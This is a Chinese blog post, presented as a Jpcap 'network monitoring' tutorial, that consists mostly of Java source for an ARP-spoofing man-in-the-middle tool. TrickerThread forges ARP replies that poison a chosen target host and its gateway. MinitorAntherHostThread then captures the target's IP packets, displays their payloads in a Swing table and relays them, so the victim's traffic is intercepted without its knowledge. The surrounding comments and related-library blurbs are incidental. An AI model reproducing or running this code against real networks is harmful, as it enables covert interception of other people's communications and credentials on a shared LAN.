- 浏览: 162953 次
- 性别:
- 来自: 南京
文章分类
最新评论
-
宋建勇:
示例不错,讲解也实在!受益了。
非主流并发工具之 ForkJoinPool -
yugouai:
我是用了0.11.0也是报同样的错误,是不是需要设置什么参数才 ...
Hive开窗函数测试-cube,rollup -
wankunde:
yugouai 写道你好,开窗函数的语法是您上面描述那样的吗? ...
Hive开窗函数测试-cube,rollup -
yugouai:
你好,开窗函数的语法是您上面描述那样的吗?hive> S ...
Hive开窗函数测试-cube,rollup -
wankunde:
yugouai 写道请问一下,什么叫hive的开窗函数?这个是 ...
Hive开窗函数测试-cube,rollup
如何使用Jpcap 包实现网络监听 实现的代码如下(这里提供几个重要的类) public class ARP } import java.net.InetAddress; public class TrickerThread extends Thread public class MinitorAntherHostThread extends Thread import javax.swing.JTable;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import java.util.Arrays;
import java.net.InetAddress;
import java.net.Inet4Address;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import javax.swing.JOptionPane;
{
public static byte[] getTargetMAC(InetAddress targetIp)
{
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
NetworkInterface device=null;
//寻找适合的网络设备
loop: for(NetworkInterface d:devices)
{
for(NetworkInterfaceAddress addr:d.addresses)
{
if(!(addr.address instanceof Inet4Address)) continue;
byte[] bip=targetIp.getAddress();
byte[] subnet=addr.subnet.getAddress();
byte[] bif=addr.address.getAddress();
for(int i=0;i<4;i++){
bip[i]=(byte)(bip[i]&subnet[i]);
bif[i]=(byte)(bif[i]&subnet[i]);
}
if(Arrays.equals(bip,bif))
{
device=d;
break loop;
}
}
}
if(device==null)
throw new IllegalArgumentException(targetIp+" is not a local address");
JpcapCaptor captor = null;
//打开一个网络数据包捕捉者
try
{
captor=JpcapCaptor.openDevice(device,2000,false,3000);
//只接收ARP数包
captor.setFilter("arp",true);
}catch(Exception e)
{
}
//获得发送数据包的实例
JpcapSender sender=captor.getJpcapSenderInstance();
InetAddress srcip=null;
for(NetworkInterfaceAddress addr:device.addresses)
if(addr.address instanceof Inet4Address){
srcip=addr.address;
break;
}
//进行广播数据报的MAC地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
//构造REQUEST 类型的ARP的数据包
ARPPacket arp=new ARPPacket();
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
//源MAC地址
arp.sender_hardaddr=device.mac_address;
//源IP地址
arp.sender_protoaddr=srcip.getAddress();
//目地MAC地址:广播地址全为1(二进制)
arp.target_hardaddr=broadcast;
//目地IP地址
arp.target_protoaddr=targetIp.getAddress();
//构造以太网头部
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=broadcast;
//ARP数据包加上以网关头部
arp.datalink=ether;
//向局域网广播ARP请求数据报
sender.sendPacket(arp);
//接收目标主面的答应ARP数据报
while(true)
{
ARPPacket p=(ARPPacket)captor.getPacket();
if(p==null)
{
throw new IllegalArgumentException(targetIp +"不是本地局域网的IP号");
}
if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
return p.sender_hardaddr;
}
}
}
import jpcap.packet.*;
import jpcap.*;
{
private String targetIP;
private String gateWayIP;
private byte[] targetMAC;
private byte[] gateWayMAC;
private ARPPacket targetPacket;
private ARPPacket gateWayPacket;
private NetworkInterface device;
private JpcapSender sender = null;
public TrickerThread(NetworkInterface device, JpcapSender sender, String targetIP, String gateWayIP, byte[] targetMAC , byte[] gateWayMAC)
{
this.device = device;
this.sender = sender;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;
makePacket();
}
public void run()
{
sender.sendPacket(targetPacket);
sender.sendPacket(gateWayPacket);
System.out.println("欺骗!!");
try
{
Thread.sleep(200);
}
catch(Exception e)
{
System.out.println();
}
}
private void makePacket()
{
targetPacket = new ARPPacket();//发往目标主机的ARP包
targetPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
targetPacket.prototype=ARPPacket.PROTOTYPE_IP;
targetPacket.operation=ARPPacket.ARP_REPLY;//REPLY回复型ARP数据包
targetPacket.hlen=6;
targetPacket.plen=4;
targetPacket.sender_hardaddr=device.mac_address;//源MAC地址
targetPacket.target_hardaddr=targetMAC;//目地MAC地址
try
{
targetPacket.sender_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
targetPacket.target_protoaddr=InetAddress.getByName(targetIP).getAddress();
}catch(Exception e)
{
}
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=targetMAC;
targetPacket.datalink=ether;
gateWayPacket = new ARPPacket();//发往网关的ARP数据报
gateWayPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
gateWayPacket.prototype=ARPPacket.PROTOTYPE_IP;
gateWayPacket.operation=ARPPacket.ARP_REPLY;
gateWayPacket.hlen=6;
gateWayPacket.plen=4;
gateWayPacket.sender_hardaddr=device.mac_address;//源MAC地址
gateWayPacket.target_hardaddr=gateWayMAC;//目标MAC地址
try
{
gateWayPacket.sender_protoaddr=InetAddress.getByName(targetIP).getAddress();
gateWayPacket.target_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
}catch(Exception e)
{
}
ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;//源MAC地址
ether.dst_mac=gateWayMAC;//目的MAC地址
gateWayPacket.datalink=ether;
}
}
import jpcap.*;
import java.io.*;
import java.net.*;
import jpcap.packet.*;
import javax.swing.table.DefaultTableModel;
{
private jpcap.NetworkInterface[] devices = null;
private jpcap.NetworkInterface device = null ;
private JpcapCaptor captor = null ;
private JpcapSender sender = null;
private byte[] targetMAC;
private byte[] gateWayMAC;
private String targetIP;
private String gateWayIP;
private DefaultTableModel model;
public MinitorAntherHostThread(DefaultTableModel model, String targetIP , String gateWayIP, byte[] targetMAC, byte[] gateWayMAC)
{
this.model = model;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;
try
{
initDevice();
}
catch(IOException e)
{
}
}
private void initDevice() throws IOException
{
devices = JpcapCaptor.getDeviceList(); //去除虚拟网卡的处理
int index = 0;
if(devices.length>1)
index = 1;
device = devices[index];//只有一个设备
captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
captor.setFilter("ip",true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();//获得发送数据包的实例
}
public void run()//接收数据包并转发
{
TrickerThread tricker = new TrickerThread(device, sender,targetIP, gateWayIP, targetMAC , gateWayMAC);
tricker.start();
IPPacket dataPacket = null;
while(true)
{
dataPacket =(IPPacket)captor.getPacket();
if(dataPacket!=null)
{
System.out.println(dataPacket);
Object[] data = {"","","",""};
if(dataPacket.src_ip.getHostAddress().equals(targetIP))
{
data[0] = "发送";
data[1] = dataPacket.getClass().getName();
data[2] = dataPacket;
StringBuffer buffer = new StringBuffer();
for(Byte a:dataPacket.data)
{
buffer.append(Byte.toString(a));
}
data[3] = new String(buffer);
model.addRow(data);//显不数据包
send(dataPacket, gateWayMAC);
System.out.println(dataPacket);
}
else if(dataPacket.dst_ip.getHostAddress().equals(targetIP))
{
data[0] = "接收";
data[2] = dataPacket;
StringBuffer buffer = new StringBuffer();
for(Byte a:dataPacket.data)
{
buffer.append(Byte.toString(a));
}
data[3] = new String(buffer);
model.addRow(data);//显不数据包
send(dataPacket, targetMAC);
System.out.println(dataPacket);
}
}
}
}
private void send(Packet packet, byte[] changeMAC)
{
EthernetPacket eth;
if(packet.datalink instanceof EthernetPacket)
{
eth = (EthernetPacket)packet.datalink;
for(int i = 0; i < 6; i++)
{
eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
eth.src_mac[i] = device.mac_address[i]; //源发送者为A
}
sender.sendPacket(packet);
}
}
}
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostPane extends JPanel
{
private JButton initButton;
private JButton startButton;
private JButton stopButton;
private JButton endButton;
private JPanel operatePane;
private JTable showPackage;
private DefaultTableModel model;
private JScrollPane showPane;
private JPanel northPane ;
private JLabel label;
private JLabel label2;
private JLabel label3;
private JLabel label4;
private JTextField textField;
private JTextField textField2;
private JTextField textField3;
private JTextField textField4;
private JButton arpButton;
private String targetIp;
private String gateWayIp;
private byte[] targetMac;
private byte[] gateWayMac;
private MinitorAntherHostThread minitor;
public MinitorAntherHostPane()
{
Object[][] data = {{}};
Object[] title = {"监听类型","数据包类型","数据包通信信息","数据包的数据"};
model = new DefaultTableModel(data, title);
showPackage = new JTable(model);
showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
showPane = new JScrollPane(showPackage);
showPane.setBorder(BorderFactory.createTitledBorder("监听的数据包列表"));
initButton = new JButton("开始监听");
initButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
initButton.setEnabled(false);
stopButton.setEnabled(true);
MinitorAntherHostThread minitor = new MinitorAntherHostThread(model,targetIp,gateWayIp,targetMac,gateWayMac);
minitor.start();
}
});
startButton = new JButton("继续监听");
startButton.setEnabled(false);
startButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
stopButton.setEnabled(true);
endButton.setEnabled(false);
minitor.resume();
}
}
);
stopButton = new JButton("暂停监听");
stopButton.setEnabled(false);
stopButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
stopButton.setEnabled(false);
startButton.setEnabled(true);
endButton.setEnabled(true);
minitor.suspend();
}
}
);
endButton = new JButton("终止监听");
endButton.setEnabled(false);
endButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
initButton.setEnabled(true);
startButton.setEnabled(false);
stopButton.setEnabled(false);
endButton.setEnabled(false);
try
{
minitor.destroy();
}
catch(Exception ex)
{
}
}
}
);
operatePane = new JPanel();
operatePane.add(initButton);
operatePane.add(startButton);
operatePane.add(stopButton);
operatePane.add(endButton);
operatePane.setBorder(BorderFactory.createTitledBorder("操作选项"));
label = new JLabel("目标主机的IP地址:");
textField = new JTextField(9);
arpButton = new JButton("解析MAC地址");
arpButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
if(textField.getText().equals(""))
{
}
else
{
try
{
targetIp = textField.getText();
targetMac = ARP.getTargetMAC(InetAddress.getByName(targetIp));
}
catch(Exception ex)
{
}
StringBuffer buffer = new StringBuffer();
for (byte b : targetMac)
buffer.append(Integer.toHexString(b&0xff) + ":");
textField2.setText(new String(buffer));
try
{
gateWayIp = textField3.getText();
gateWayMac = ARP.getTargetMAC(InetAddress.getByName(gateWayIp));
}
catch(Exception ex)
{
}
buffer = new StringBuffer();
for (byte b : gateWayMac)
buffer.append(Integer.toHexString(b&0xff) + ":");
textField4.setText(new String(buffer));
}
}
}
);
label2 = new JLabel("目标主机MAC地址:");
textField2 = new JTextField(9);
label3 = new JLabel("网关IP地址:");
textField3 = new JTextField(9);
label4 = new JLabel("网关MAC地址:");
textField4 = new JTextField(9);
northPane = new JPanel(new FlowLayout(FlowLayout.LEFT));
northPane.add(label3);
northPane.add(textField3);
northPane.add(label);
northPane.add(textField);
northPane.add(arpButton);
northPane.add(label4);
northPane.add(textField4);
northPane.add(label2);
northPane.add(textField2);
setLayout(new BorderLayout());
add(northPane, BorderLayout.NORTH);
add(showPane, BorderLayout.CENTER);
add(operatePane, BorderLayout.SOUTH);
}
}
评论
你先运行起来,再看嘛!
相关推荐
【标题】"jpcap监听网络 收发数据包java" 涉及的主要知识点是Java编程中的网络数据包捕获和发送,其中jpcap库是一个关键工具。jpcap是一个开源的Java库,它提供了对网络接口的低级访问,能够用于捕获、过滤、发送和...
《使用jpcap实现网络实时流量图》 在IT领域,网络流量监控是至关重要的一个环节,它能够帮助我们理解网络活动,检测异常流量,优化网络性能,甚至防范网络安全威胁。jpcap作为Java平台上的一个强大库,提供了对网络...
对于数据包的捕获,JPCAP提供了一系列的接口和类,如`JpcapCaptor`和`Packet`,用于监听网络接口,接收并解析接收到的数据包。我们可以根据需要过滤特定类型的包,比如只捕获TCP或特定端口的包。捕获到的包可以...
本文将详细介绍JPCAP库的使用及其在网络抓包中的应用。 **1. JPCAP库介绍** JPCAP是由John Linn开发的一个Java库,它提供了类似于libpcap(用于C语言的网络数据包捕获库)的功能。JPCAP允许程序员在Java环境中对...
标题中的“使用Jpcap实现的java网络抓包程序,支持ipv6”表明这是一个Java编程项目,其核心功能是利用Jpcap库进行网络封包的捕获和分析,并且该程序具有处理IPv6协议的能力。在现代网络环境中,IPv6的普及逐渐增加,...
Java抓包工具jpcap是Java平台上的网络数据包捕获库,它允许开发者在Java应用程序中实现网络监控和分析功能。jpcap提供了一套API接口,使得开发者能够轻松地处理网络数据包,包括捕获、过滤、解析以及网络协议分析等...
Java jpcap抓包是一种利用Java编程语言和jpcap库来实现网络数据包捕获的技术。jpcap是Java Packet Capture的缩写,是一个开源的网络协议分析库,允许开发者在Java应用程序中进行网络数据包的捕获和处理。在计算机...
标题 "jpcap依赖包及代码" 指的是一个集合,包含了与jpcap相关的所有必要组件,包括必要的jar包和动态链接库(DLL),以及可能的示例代码,帮助开发者理解并使用jpcap进行网络数据包捕获。jpcap是一个Java库,它为...
Jpcap包是Java开发中的一个重要工具,它提供了对网络数据包的捕获和处理功能。为了能够正确地安装和配置Jpcap包,需要遵循以下步骤: 首先,需要下载并安装JDK和winpcap。JDK是Java开发环境的核心组件,而winpcap则...
jpcap并非直接实现数据链路层的控制,而是依赖于操作系统底层的抓包库,如Windows上的winpcap和Unix/Linux上的libpcap,通过这些库来获取网络数据包,然后提供给Java程序员一个统一的API。 **jpcap的关键特性** 1....
jpcap库允许程序实时监听网络接口,获取经过的每一个数据包,并提供详细的包头信息和负载内容。这些数据包可以是TCP、UDP、IP或其他低级别的协议。通过解析这些数据,开发者可以洞察网络流量模式,进行故障排查,...
在本案例中,我们关注的是一个基于Java平台的网络嗅探器,它利用了名为jpcap的库来实现其功能。 **jpcap简介** jpcap是一个开源的Java库,专门设计用于处理网络接口卡(NIC)的数据包捕获。它提供了类似于libpcap...
通过使用Jpcap,开发者可以在Java环境中实现对网络流量的监听、分析等功能。这对于网络安全分析、网络监控以及数据包处理等领域具有重要的应用价值。 #### 二、Jpcap包的安装与配置 ##### (一)在JCreator环境下...
jpcap库的实现基于libpcap,这是一个广泛使用的C语言实现的网络抓包库,因此jpcap可以跨平台运行,包括Windows、Linux、Mac OS X等操作系统。peazip-4.7.2.src可能是项目中包含的一个依赖库或示例代码,PeaZip是一款...
标题“jpcap例子”指的是使用jpcap库进行网络数据包捕获的实际示例。jpcap是一个Java库,它提供了对网络接口的数据包捕获和分析的能力,类似于著名的libpcap(在Windows上是WinPcap)的Java版本。这个库允许开发者在...
Java抓包工具jpcap与WinPcap是网络分析和数据包捕获的重要工具,尤其在软件开发、网络故障排查和安全分析等领域中扮演着重要角色。本文将深入探讨这两个工具的功能、安装过程以及如何利用它们进行网络数据包的抓取和...
java抓包程序,使用jpcpa.jar包java的JPCAP.jar, 不过一直调用的都是winpcap(jpcap.dll)实现的许多接口。 压缩包包含 jpcap.jar和jpcap.dll 下载要积分了,本人也积分有限!见谅
标题中的“jpcap所需jar包和dll”指的是在Java编程环境下使用Jpcap库进行网络数据包捕获和分析时必要的组件。Jpcap是一个Java库,它允许程序员访问和解析网络接口上的数据包,这在进行网络监控、安全分析或者ARP欺骗...